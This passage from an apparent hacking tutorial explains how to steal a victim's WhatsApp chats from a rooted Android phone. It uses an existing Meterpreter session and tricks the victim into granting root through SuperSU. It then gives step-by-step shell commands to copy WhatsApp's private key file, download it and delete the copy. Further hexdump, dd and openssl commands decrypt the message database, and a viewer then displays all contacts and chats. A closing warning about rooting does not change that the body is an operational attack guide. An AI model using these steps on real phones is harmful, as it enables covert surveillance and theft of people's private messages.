As told before, but adding a little more detail here:
To decrypt the crypt8 files, we will need the key file. The key file stores two sets of decryption keys – the actual encryption key,K and an initialisation vector called IV . WhatsApp stores the key file in a secure location.
Extracting the key file, type:
- shell
- su (For Super User access or simply escalating privileges)
Here comes the tricky part, if the target is experienced and skilled, he must have installed the SuperSU application.
The application is responsible for holding the permissions whether which application can have access to root. It even holds all the logs.
So, we need to convince the Victim that the application is for boosting (or any other reason) his/her android system but at the same time requires root access to reach it's maximum potential.
(---------------"Victim, opens SuperSU and gives the permission"---------------)
There are some cases with inexperienced and unskilled users:
- They don't have a SuperSU application installed.
- They have not changed the setting for newly installed apps to PROMPT instead of GRANT.
So in these cases we are really lucky!
Lets' continue:
(If the android is not rooted you can navigate, but not copy or print the directory)
- cd /
- cd /data/data
- ls
- cd com.whatsapp
- ls

- cd files
- ls
- cp key /sdcard/Download
(Means copy the file 'key' to sdcard>Download folder)
Terminate the shell:
^C (Control+C)
The key has been extracted from /data to /sdcard successfully!
Again to Meterpreter:
Lets download the extracted key file to our root directory as we did for the encrypted database, type:
- cd /
- cd /sdcard/Download
- download key
- rm key (Make sure you do that to delete the key file)
The Key has been extracted to our root directory successfully!
DECRYPT THE DATABASE!
Now that we have the database and the key, we can easily decrypt it with one of the two methods:
#1 With Simple Linux Commands:
With the two necessities in the root directory, open a terminal and type:
(Copy and Paste the commands one at a time, don't make a a script out of it, or it will not work)
- hexdump -e '2/1 "%02x"' key | cut -b 253-316 > aes.txt
- hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 > iv.txt
- dd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1
- openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) > msgstore.gz
- gzip -cdq msgstore.gz > msgstore.db
If the 4th command does not work, follow:
- hexdump -e '2/1 "%02x"' key | cut -b 253-316
(Copy the printed text)
- hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134
(Copy the printed text)
- openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K (Paste text from 1st command) -iv (Paste text from 2nd command) > msgstore.gz
#2 With Simple Windows WhatsApp Viewer Application:
The application has an excellent interface, from
GitHub . Download the application from there.
Also, copy the key and database to windows, I hope you know how to do that.
- Open the application (in windows of course).
- Click FIle, then on 'Decrypt .crypt8'
- In the dialogue box that appears, provide the Key file and Database.

- Click OK, you will see that a 'msgstore.decrypted' file has appeared at your desktop.
- Open it using the same application, go to 'File' then 'Open'.
- Provide the Decrypted file, leave the Account name blank and for the 'wa.db', you can hack the phone again to extract this .db, to resolve contact names as mentioned in the cropped screenshot below.
And 'Boom' all the contacts with all the chats even the latest ones awaits your Click
The Tutorial Ends:
Now that you know how dangerous Rooting actually is, please, beware.
A cracker can not only perform this simple hack, he can even extract all the Wi-Fi passwords stored in your android, he can access everything, things that even you don't have access to!! He may spread to your PC once you connect your android, hack your accounts (saved passwords) and even frame you. You just become a mere pawn to his further plans.
So, think twice before rooting and be really careful, while holding a rooted android in your hands.
Thank You!
0 Comments